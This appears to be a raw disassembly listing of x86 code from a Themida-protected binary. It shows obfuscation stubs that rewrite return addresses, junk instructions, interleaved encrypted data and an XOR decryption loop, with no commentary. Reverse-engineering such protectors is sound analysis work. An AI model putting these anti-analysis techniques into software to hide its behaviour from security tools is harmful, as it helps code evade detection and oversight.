add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5875BA endp
; ---------------------------------------------------------------------------
dw 8109h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
xor al, 44h
jnp short loc_5875D2
popa
loc_5875D2: ; CODE XREF: Themida_:005875CFj
push 0
push ebx
call sub_5875DD
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5875DD proc near ; CODE XREF: Themida_:005875D5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5875DD endp
; ---------------------------------------------------------------------------
db 0B1h, 0Fh, 0B7h
dd 0FFC60D2h, 18Bh, 0FF61F900h, 0A82E6995h
; ---------------------------------------------------------------------------
loc_587600: ; CODE XREF: Themida_:00587598j
pop es
jl loc_58760B
mov dx, 6A9Ch
loc_58760B: ; CODE XREF: Themida_:00587601j
mov ecx, [ebp+7A84DA6h]
jnb loc_587629
pusha
mov dx, 0D9D7h
call sub_587627
fnstsw word ptr [esi+0B7CBF74h]
; =============== S U B R O U T I N E =======================================
sub_587627 proc near ; CODE XREF: Themida_:0058761Cp
pop esi
popa
loc_587629: ; CODE XREF: Themida_:00587611j
inc byte ptr [ecx]
pusha
adc al, 0BBh
jg loc_587648
jmp loc_587648
; ---------------------------------------------------------------------------
dw 5777h
dd 4841D7B0h, 0A9A324E9h, 6159F744h
; ---------------------------------------------------------------------------
loc_587648: ; CODE XREF: sub_587627+8j
; sub_587627+Ej
popa
cmp dword ptr [ebp+7A82D65h], 1
jnz loc_587658
mov dh, bl
loc_587658: ; CODE XREF: sub_587627+29j
mov eax, eax
jnp loc_587663
xor dl, 3Dh
loc_587663: ; CODE XREF: sub_587627+33j
cmp dword ptr [ebp+7A827F9h], 0
jnz short loc_587675
cmp dword ptr [ebp+7A80605h], 0
jz short loc_58768F
loc_587675: ; CODE XREF: sub_587627+43j
push eax
push ebx
mov eax, eax
mov eax, [ebp+7A82585h]
mov [ebp+7A82585h], eax
lea ebx, [ebp+7AAB023h]
call ebx ; _iob
pop ebx
pop eax
loc_58768F: ; CODE XREF: sub_587627+4Cj
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5876B0
push eax
push ebx
mov eax, [ebp+7A82585h]
mov [ebp+7A82585h], eax
lea ebx, [ebp+7AAAD12h]
call ebx ; _iob
pop ebx
pop eax
loc_5876B0: ; CODE XREF: sub_587627+6Fj
sbb edx, 707805F6h
push edi
add [ebp+7A824B5h], esi
pop ebx
mov eax, eax
push 0
push esi
call sub_5876CB
and [esi-3Dh], bl
sub_587627 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5876CB proc near ; CODE XREF: sub_587627+9Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5876CB endp
; ---------------------------------------------------------------------------
db 48h
dd 7202708Dh, 0D28166D0h, 0BD83EEDCh, 7A8213Dh, 39850F00h
dd 66000000h, 0BD83D78Bh, 7A8193Dh, 29840F00h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 0D9F7C352h, 90F2CD53h, 0BBD0ADEDh, 15D2B31Bh
dd 213DBD83h, 0F0007A8h, 5584h, 0A72FBA00h, 0BD8350C9h
dd 7A807F1h, 43840F00h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5671C350h
dd 82984D08h, 0CB6229D8h, 0CE8h, 5EA79C00h, 0E32A333Bh
dd 21BE00ECh, 61B5293Ch, 5A07A81Bh, 275D9D89h, 0BD8307A8h
dd 7A8213Dh, 19840F00h, 1000000h, 0A814C98Dh, 0F1BD8307h
dd 7A807h, 6840Fh, 0B5890000h, 7A81C91h, 213DBD83h, 0F0007A8h
dd 4184h, 0BD896000h, 7A82235h, 8361F88Bh, 0A81985BDh
dd 840F0007h, 2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 3FC35343h, 24F852h, 8D89F746h, 7A80AADh
dd 0BD832FB7h, 7A8213Dh, 47840F00h, 89000000h, 0A80005BDh
dd 39BD8307h, 7A822h, 34840Fh, 95890000h, 7A80BEDh, 29C5BD29h
dd 95FF07A8h, 7A81875h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 5EC35040h, 3147B87Ch, 0C08B3782h, 6E8h
dd 97C8500h, 66FA1969h, 0FC5BD38Bh, 27F9BD83h, 750007A8h
dd 5BD8309h, 7A806h, 53501A74h, 858BC08Bh, 7A80ECDh, 0ECD8589h
dd 9D8D07A8h, 7AAB08Ah, 585BD3FFh, 605BD83h, 740007A8h
dd 8B535018h, 0A80ECD85h, 0CD858907h, 8D07A80Eh, 0AAAD2B9Dh
dd 5BD3FF07h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 9E835E7Fh, 476ADED6h, 6D858956h
dd 5B07A814h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 63C35141h, 2DD4F7D9h, 0D18D899Fh, 8907A805h, 0A81AFDB5h
dd 6AC08B07h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 0BB72C356h, 70562944h, 850FA635h
dd 6, 5699589h, 0BD8307A8h, 7A8213Dh, 40840F00h, 0BB000003h
dd 389B29A3h, 2209BD83h, 0F0207A8h, 3584h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 832538ACh, 0A82F9DBDh, 850F0107h, 0Ah, 5E9h, 85FA1500h
dd 160C967h, 0A8104195h, 0AD952307h, 8B07A80Ah, 0A84DA68Dh
dd 1D952B07h, 8007A810h, 1FE76F3h, 2A21952Bh, 4E807A8h
dd 80000000h, 53000000h, 8E852h, 0DF540000h, 1441EB00h
dd 5B5AFDD2h, 8B66505Ah, 24448BDAh, 5E904h, 2BE20000h
dd 8B5FF62Ch, 0AE800h, 69400000h, 3522A0D2h, 4F06B1D0h
dd 5BD18B66h, 4244489h, 0FABA6657h, 6A585A52h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 8115C351h, 0D36AACCAh, 89FF6A1Fh, 0A8352D95h, 95FFF507h
dd 7A8060Dh, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 26468172h, 0F065D112h, 22D5BD8Dh
dd 0E28107A8h, 44F10399h, 6A1C4F8Bh, 8B50F501h, 240C89D9h
dd 2709B501h, 858D07A8h, 7AB41FDh, 0FFDE8B66h, 34C680D0h
dd 6A204F8Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0E8BDC357h, 20C72390h, 7FAE60FFh
dd 3034E6BAh, 60036A19h, 61C88B66h, 892FB350h, 8A0F240Ch
dd 1, 0BE8FCh, 16D60000h, 96C2F928h, 0C50F8F42h, 0CE983h
dd 60F60000h, 9FA87A3Fh, 47170C9Fh, 8D5BD0F6h, 0AB41FD85h
dd 0EB816607h, 0D0FFB898h, 8DD6BF0Fh, 0A822D5BDh, 6820F07h
dd 2B000000h, 0A82CE595h, 1C4F8B07h, 4D1BBB66h, 0F381016Ah
dd 4412EEA1h, 6870Fh, 9D2B0000h, 7A832B9h, 13E850h, 5A4E0000h
dd 0E69E93CDh, 287372B7h, 0E9FD14Ch, 2673F002h, 0F58A60E5h
dd 5B615A50h, 0B3240C89h, 0FD858D74h, 0F07AB41h, 683h
dd 1D9D2B00h, 0FF07A809h, 0A59589D0h, 8B07A81Bh, 6A204Fh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0AC66D3C3h, 0CBBA4332h, 0E827CD26h, 0Dh, 0C8E0A0E0h
dd 0E175DA91h, 5652C57Ch, 89958B6Bh, 5A07A814h, 36ADE8Bh
dd 10E950F5h, 53000000h, 5724DD07h, 0C54C5C37h, 0C5085EE2h
dd 8952CBD6h, 9D29240Ch, 7A8273Dh, 41FD858Dh, 6A07ABh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 457640C3h, 86228382h, 251D9531h, 0C38107A8h, 4B83DBD9h
dd 23BAD0FFh, 8B006D8Fh, 0A84DA68Dh, 0FEDE8B07h, 8B8BB301h
dd 0A84DA685h, 0A99D0107h, 0FE07A817h, 5B50100h, 6A07A80Ah
dd 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 0F85C18F9h, 763B9568h, 0D78B66FFh, 6A240481h
dd 8B008964h, 0A807C195h, 7858D07h, 6A07AB42h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0CAB9C351h, 0D0FF0123h, 0BE666050h, 8B6689B2h, 835B61CFh
dd 0A8193DBDh, 840F0007h, 0F4h, 83D6B70Fh, 0A806A5BDh
dd 850F0107h, 0E4h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0FEC35040h, 0E9CC7F33h, 13h, 0FBCD32DEh
dd 0BFB5F1D6h, 5A966AF7h, 55DD3E45h, 0E99FAFDEh, 6, 7E72F8F0h
dd 8D8D4244h, 7AB4211h, 1DD18501h, 36A07A8h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B5C35747h, 5AFEB2B3h
dd 66F5209Dh, 6A581ABBh, 1D958B01h, 0FF07A805h, 0B58960D1h
dd 7A8049Dh, 0E9016A61h, 0Ah, 3C8A4954h, 0E0845BDDh, 9589894Ch
dd 7A81CFDh, 9D89016Ah, 7A825D9h, 7E9D1FFh, 4D000000h
dd 0E29A8DFAh, 8CE86D2Dh, 6AF8B36Dh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6973C353h
dd 24319D23h, 958B07A8h, 7A82291h, 8D89206Ah, 7A81019h
dd 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 33E1A2C3h, 0A563E768h, 89A3C4C3h, 0A80EC5B5h
dd 0F5852907h, 0FF07A833h, 0A8060D95h, 0B8D08B07h, 0
; ---------------------------------------------------------------------------
movsx edx, si
or eax, eax
jz loc_587E41
cld
cmp dword ptr [ebp+7A81B39h], 0
jz loc_587E41
push 0
push edx
call sub_587DF8
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587DF8 proc near ; CODE XREF: Themida_:00587DF0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_587DF8 endp
; ---------------------------------------------------------------------------
jb short loc_587E82
xchg eax, edx
call dword ptr [ebp+7A826A5h]
push 0
push edi
call sub_587E1C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587E1C proc near ; CODE XREF: Themida_:00587E14p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_587E1C endp
; ---------------------------------------------------------------------------
dd 8840FE3h, 60000000h, 3525858Bh, 896107A8h, 0A81BE19Dh
; ---------------------------------------------------------------------------
pop es
loc_587E41: ; CODE XREF: Themida_:00587DD9j
; Themida_:00587DE7j
mov eax, [ebp+7A82981h]
push 0
push edi
call sub_587E52
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587E52 proc near ; CODE XREF: Themida_:00587E4Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_587E52 endp
; ---------------------------------------------------------------------------
mov ecx, 84370F11h
mov byte ptr [eax], 0
jns loc_587E76
mov [ebp+7A802FDh], edi
loc_587E76: ; CODE XREF: Themida_:00587E6Aj
pop eax
xor [ebp+7A825EDh], esi
mov cx, ds
push 0
loc_587E82: ; CODE XREF: Themida_:00587E08j
push ebx
call sub_587E8B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587E8B proc near ; CODE XREF: Themida_:00587E83p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_587E8B endp
; ---------------------------------------------------------------------------
db 0D6h
dd 5F011FE1h, 80C8B959h, 4810F4Dh, 66000000h, 0F6F785BBh
dd 840F04C1h, 66h, 0EE95257h, 0EB000000h, 6CEF46A8h, 2A1658A2h
dd 62B17468h, 0E95A5AC3h, 4Ah, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 97C35646h, 8B26C7F9h, 0A825C1B5h
dd 5E807h, 0A4810000h, 9B22E2Ah, 0A80A418Dh, 0C6815B07h
dd 1180h, 882DB81h, 6C77BA8h, 0
; ---------------------------------------------------------------------------
mov bl, 4Eh
pop esi
push 0
push ebp
call sub_587F2A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587F2A proc near ; CODE XREF: Themida_:00587F22p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_587F2A endp
; ---------------------------------------------------------------------------
dw 0B074h
; ---------------------------------------------------------------------------
cld
xor bh, 0E6h
cmp eax, 0
jz loc_588977
add edx, 675599F5h
cmp eax, 1
jnz loc_5880FC
push 0
push esi
call sub_587F63
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587F63 proc near ; CODE XREF: Themida_:00587F5Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_587F63 endp
; ---------------------------------------------------------------------------
db 5Dh
dd 0E4639894h, 44754F17h, 8E9h, 8D6EF700h, 64023A46h, 0B8D88B5Ah
dd 0
; ---------------------------------------------------------------------------
mov dh, 9Ah
or eax, eax
jz loc_588066
add ebx, [ebp+7A82441h]
cmp eax, 1
jz loc_58809C
movzx ebx, di
cmp eax, 3
jz loc_58802D
jmp loc_587FCE
; ---------------------------------------------------------------------------
dw 0B498h
dd 9FAC0999h, 12739CB3h, 2CF574BCh, 0ACE78B98h
db 0BDh, 5Fh
; ---------------------------------------------------------------------------
loc_587FCE: ; CODE XREF: Themida_:00587FB5j
mov edx, [ebp+7A8311Dh]
sub eax, eax
push 0
push ebp
call sub_587FE1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587FE1 proc near ; CODE XREF: Themida_:00587FD9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_587FE1 endp
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+602C7D02h], 0BA8614D5h
cmc
lea edi, dword_5B89E0[ebp]
push 0
push ecx
call sub_58800D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58800D proc near ; CODE XREF: Themida_:00588005p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_58800D endp
; ---------------------------------------------------------------------------
push ebp
pop esp
sub ebx, [ebp+7A80365h]
adc dl, 7Ch
jmp edi
; ---------------------------------------------------------------------------
xor bh, 62h
loc_58802D: ; CODE XREF: Themida_:00587FAFj
; Themida_:00588155j
mov eax, 1
push 0
push edx
call sub_58803D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58803D proc near ; CODE XREF: Themida_:00588035p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_58803D endp
; ---------------------------------------------------------------------------
db 0D8h, 6Eh, 48h
dd 0E0BD8DECh, 60005B89h, 235D8529h, 0B96607A8h, 0FF61FFBCh
db 0E7h, 0FCh
; ---------------------------------------------------------------------------
loc_588066: ; CODE XREF: Themida_:00587F94j
lea edi, [ebp+7A84432h]
mov [ebp+7A802F1h], eax
jmp loc_5882D8
; ---------------------------------------------------------------------------
push 0
push esi
call sub_588082
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588082 proc near ; CODE XREF: Themida_:0058807Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_588082 endp
; ---------------------------------------------------------------------------
cli
cmp dword ptr [esi], 21BD3161h
and al, 0A8h
pop es
loc_58809C: ; CODE XREF: Themida_:00587FA3j
; Themida_:00588149j
mov dword ptr [ebp+7A84E01h], 5
pusha
jmp loc_5880BA
; ---------------------------------------------------------------------------
dd 44755BCh, 44DDE7E2h, 83AF72DBh
db 0B9h, 0C2h
; ---------------------------------------------------------------------------
loc_5880BA: ; CODE XREF: Themida_:005880A7j
mov ebx, [ebp+7A80B71h]
popa
mov ebx, 3F3924E2h
mov eax, 5
push ecx
mov [ebp+7A81CB1h], esi
pop ebx
jmp loc_58890C
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5880E3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5880E3 proc near ; CODE XREF: Themida_:005880DBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5880E3 endp
; ---------------------------------------------------------------------------
icebp
mov esi, 0F2494C20h
aam 0BEh
cmc
loc_5880FC: ; CODE XREF: Themida_:00587F52j
cmp eax, 2
jnz loc_5881AF
mov [ebp+7A82955h], edx
mov eax, 0
push 0
push esi
call sub_58811B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58811B proc near ; CODE XREF: Themida_:00588113p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_58811B endp
; ---------------------------------------------------------------------------
adc eax, 0C19834Fh
dec ecx
mov dl, 4Ch
retn
; ---------------------------------------------------------------------------
popf
sbb edx, 1A362C44h
or eax, eax
jz loc_58817D
movzx edx, cx
cmp eax, 1
jz loc_58809C
movzx ebx, si
cmp eax, 3
jz loc_58802D
push edx
sub [ebp+7A829DDh], ebx
pop ebx
mov eax, 0
mov ebx, eax
lea edi, dword_5B89E0[ebp]
mov ebx, 46C26731h
jmp edi
; ---------------------------------------------------------------------------
sbb edx, 5D9A80D4h
loc_58817D: ; CODE XREF: Themida_:0058813Dj
lea edi, [ebp+7A8462Ah]
movzx ebx, bx
jmp loc_5882D8
; ---------------------------------------------------------------------------
push 0
push edi
call sub_588196
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588196 proc near ; CODE XREF: Themida_:0058818Ep
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_588196 endp
; ---------------------------------------------------------------------------
dw 0B278h
; ---------------------------------------------------------------------------
add eax, 28F59D8Bh
test al, 7
loc_5881AF: ; CODE XREF: Themida_:005880FFj
cmp eax, 3
jnz loc_5881F5
mov [ebp+7A805ADh], ecx
lea edi, [ebp+7A847BEh]
mov edx, [ebp+7A81359h]
jmp loc_5882D8
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5881DA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5881DA proc near ; CODE XREF: Themida_:005881D2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5881DA endp
; ---------------------------------------------------------------------------
dw 582h
dd 21CED6CEh, 8AF977ACh
db 0DAh
; ---------------------------------------------------------------------------
loc_5881F5: ; CODE XREF: Themida_:005881B2j
cmp eax, 5
jnz loc_588215
mov bx, 29CDh
jmp loc_58890C
; ---------------------------------------------------------------------------
mov dh, 64h
js loc_588215
mov [ebp+7A82D6Dh], ebx
loc_588215: ; CODE XREF: Themida_:005881F8j
; Themida_:00588209j
cmp eax, 6
jnz loc_58825B
cld
lea edi, [ebp+7A849B6h]
mov [ebp+7A80C55h], ecx
jmp loc_5882D8
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_58823B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58823B proc near ; CODE XREF: Themida_:00588233p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_58823B endp
; ---------------------------------------------------------------------------
db 36h
; ---------------------------------------------------------------------------
push ecx
pop ss
xor cl, [eax+ebx*2]
rcr byte ptr [edx-41h], 1
and ebx, [ebp+7A823FDh]
stc
loc_58825B: ; CODE XREF: Themida_:00588218j
cmp eax, 7
jnz loc_588291
mov [ebp+7A82D61h], esi
ja loc_588276
sub [ebp+7A82DEDh], esi
loc_588276: ; CODE XREF: Themida_:0058826Aj
lea edi, [ebp+7A8111Dh]
cld
mov [ebp+7A818B1h], ebx
jmp loc_58835D
; ---------------------------------------------------------------------------
sub [ebp+7A83379h], esi
mov dx, bx
loc_588291: ; CODE XREF: Themida_:0058825Ej
cmp eax, 0Ah
jnz loc_5882D8
push 0
push esi
call sub_5882A5
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5882A5 proc near ; CODE XREF: Themida_:0058829Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5882A5 endp
; ---------------------------------------------------------------------------
adc al, bh
stc
mov edx, 69F69A68h
lea edi, [ebp+7A84BAEh]
mov edx, ebx
jmp loc_5882D8
; ---------------------------------------------------------------------------
pusha
mov [ebp+7A80899h], eax
sub [ebp+7A82DB9h], ecx
popa
loc_5882D8: ; CODE XREF: Themida_:00588072j
; Themida_:00588186j ...
push edi
movzx edx, bx
mov ecx, 2572F900h
jmp loc_5882EE
; ---------------------------------------------------------------------------
dw 23A5h
dd 1A6CA74Ah
; ---------------------------------------------------------------------------
cmp al, 4Dh
loc_5882EE: ; CODE XREF: Themida_:005882E1j
cmp dword ptr [edi], 0
jz loc_588359
clc
xor [edi], cl
mov dh, 2Fh
ror ecx, 1
push 0
push ebx
call sub_588309
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588309 proc near ; CODE XREF: Themida_:00588301p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_588309 endp
; ---------------------------------------------------------------------------
db 6Fh, 0DDh, 5Ch
; ---------------------------------------------------------------------------
push edx
daa
aaa
lodsb
mov edx, edi
sub ebx, [ebp+7A81925h]
inc edi
push 0
push eax
call sub_588334
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588334 proc near ; CODE XREF: Themida_:0058832Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_588334 endp
; ---------------------------------------------------------------------------
dd 0AAB3AD0Eh, 80682132h, 9BE948C3h, 29FFFFFFh, 0A80321BDh
; ---------------------------------------------------------------------------
pop es
loc_588359: ; CODE XREF: Themida_:005882F1j
pop edi
mov dx, cx
loc_58835D: ; CODE XREF: Themida_:00588283j
mov [ebp+7A84DAAh], edi
mov [ebp+7A80EF5h], eax
lea ecx, [ebp+7A80945h]
push edi
movsx edx, di
pop ebx
push dword ptr [ebp+7A80A3Dh]
sub dx, 5971h
lea eax, [ebp+7AAA9F4h]
push eax
lea edi, [ebp+7A85539h]
lea ecx, [ebp+7A86F30h]
mov eax, 54831ABCh
sub ecx, edi
loc_588399: ; CODE XREF: Themida_:0058839Fj
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_588399
lea esi, [ebp+7A86EF0h]
lea ecx, [ebp+7A86F48h]
sub ecx, edi
rep movsb
xor ecx, ecx
mov eax, 0
or eax, eax
jz short loc_588402
cmp dword ptr [ebp+7A81B39h], 0
jz short loc_5883CB
call dword ptr [ebp+7A826A5h]
loc_5883CB: ; CODE XREF: Themida_:005883C3j
mov esi, [ebp+7A84DAAh]
lea eax, [ebp+7AAA9F4h]
call eax
lea eax, [ebp+7A843C7h]
call eax
mov dword ptr [ebp+7A80B89h], 1
mov esp, [ebp+7A81E29h]
mov esi, [ebp+7A80475h]
mov ebp, [ebp+7A80509h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_588402: ; CODE XREF: Themida_:005883BAj
mov [ebp+7A81939h], esi
jl loc_58841A
jle loc_58841A
or [ebp+7A80395h], edx
loc_58841A: ; CODE XREF: Themida_:00588408j
; Themida_:0058840Ej
mov edx, [ebp+7A821FDh]
cmp dword ptr [ebp+7A823C1h], 0
jz loc_58843C
and bh, 78h
call dword ptr [ebp+7A832D9h]
mov [ebp+7A83331h], edx
loc_58843C: ; CODE XREF: Themida_:00588427j
cmp dword ptr [ebp+7A805A1h], 0
jnz loc_58863B
xor bx, 8858h
cmp dword ptr [ebp+7A806A5h], 1
jnz loc_58863B
movzx ebx, cx
cmp dword ptr [ebp+7A817E9h], 0
jz loc_58863B
push 0
push esi
call sub_588476
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588476 proc near ; CODE XREF: Themida_:0058846Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_588476 endp
; ---------------------------------------------------------------------------
dw 7505h
dd 810FD382h, 3, 83DFBF0Fh, 0A84DFDBDh, 840F0007h, 19Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A0C35343h
dd 6E32F938h, 858D04B6h, 7AAA9F4h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 43C35747h, 0E32B37BCh, 26FCCB81h
dd 0B58B2839h, 7A84DAAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0CFC35343h, 11E9h, 2ED1ED00h, 0B866D76Fh
dd 0EF84C81h, 5C2AC205h, 0D0FF8931h, 0B70F30B6h, 1985C6D0h
dd 5407A806h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 7DC35040h, 48124783h, 8BC2FA00h, 0A823F195h, 0FD2E6807h
dd 96BBF436h, 811FF830h, 0C1C62404h, 6A0B17h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 5E8C6C3h
dd 0EC000000h, 55745CFFh, 95B5FF5Ah, 0F507A818h, 3BDF858Dh
dd 8D2907A8h, 7A8310Dh, 0D281D0FFh, 3E6BE913h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 236251C3h, 801E37D9h, 0DE80FDE7h, 0FFF6AB9h, 1988h
dd 14E900h, 0AAF70000h, 7788670Eh, 0FE40D4ECh, 0C940B5D8h
dd 0E4D3BBBFh, 0D0FF8287h, 2FED8589h, 0B5FF07A8h, 7A82A45h
dd 59858B60h, 6007A808h, 12E9h, 129F0500h, 10921630h, 14C2979Ah
dd 7CDFA005h, 8B0E762Bh, 0A827FDBDh, 0FF616107h, 0A80A3D95h
dd 358D2907h
; ---------------------------------------------------------------------------
adc al, 0A8h
pop es
loc_58863B: ; CODE XREF: Themida_:00588443j
; Themida_:00588455j ...
mov esi, [ebp+7A84DAAh]
or [ebp+7A81D69h], edi
retn
; ---------------------------------------------------------------------------
push 0
push edi
call sub_588653
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588653 proc near ; CODE XREF: Themida_:0058864Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_588653 endp
; ---------------------------------------------------------------------------
and ecx, [ebx-57D67E4Bh]
pop es
mov dh, 3Dh
or esi, esi
jz loc_5886CA
push 0
push ebp
call sub_58867F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58867F proc near ; CODE XREF: Themida_:00588677p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_58867F endp
; ---------------------------------------------------------------------------
db 0F1h
dd 96F40EBh, 2BB820AAh, 0EB59D09h, 6C607A8h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 7C7BB96Ah, 53277EA7h, 433BBB83h
db 95h, 2Eh
; ---------------------------------------------------------------------------
loc_5886CA: ; CODE XREF: Themida_:0058866Ej
mov [ebp+7A84DB2h], eax
sub [ebp+7A80799h], edi
push edi
mov [ebp+7A833A1h], edx
pop ebx
cmp eax, 0
jz loc_588977
and ebx, [ebp+7A81739h]
mov ebx, 16F422B4h
mov eax, 0
mov ebx, edx
cmp eax, 0
jz loc_588791
push 0
push ebx
call sub_58870D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58870D proc near ; CODE XREF: Themida_:00588705p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_58870D endp
; ---------------------------------------------------------------------------
db 0B8h, 0C4h, 6
dd 21958BA4h, 8307A805h, 850F02F8h, 4Fh, 65C2F381h, 858D4F5Fh
dd 7A8442Dh, 251D958Bh, 292D07A8h, 89000009h, 0A82AC585h
dd 299D0107h, 5007A825h, 89DF8B66h, 0DE82404h, 0FA000000h
